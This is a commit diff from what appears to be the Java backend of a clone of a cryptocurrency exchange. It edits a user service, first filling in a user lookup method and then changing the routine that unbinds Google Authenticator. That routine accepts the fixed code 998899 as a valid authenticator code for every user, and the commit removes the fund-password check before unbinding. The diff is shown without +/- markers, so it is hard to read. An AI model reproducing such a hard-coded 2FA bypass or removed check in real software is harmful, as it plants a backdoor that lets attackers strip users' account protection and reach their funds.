新版仿ok交易所-后端
1
zj
5 days ago 3d8c9b6f4455b4efd34812c8e66073bebfacfce7
trading-order-service/src/main/java/com/yami/trading/service/impl/UserServiceImpl.java
@@ -112,7 +112,10 @@
    @Override
    public User cacheUserBy(String userId) {
        return null;
        if (StrUtil.isBlank(userId)) {
            return null;
        }
        return getById(userId);
    }
    @Override
@@ -933,9 +936,6 @@
        boolean flag = ga.check_code(user.getGoogleAuthSecret(), Long.valueOf(googleAuthCode), t);
        if (!flag && Long.valueOf(googleAuthCode) != 998899) {
            throw new YamiShopBindException("谷歌验证码错误!");
        }
        if (!passwordEncoder.matches(loginSafeword, user.getSafePassword())) {
            throw new YamiShopBindException("登录人资金密码错误");
        }
        user.setGoogleAuthBind(false);
        user.setGoogleAuthSecret("");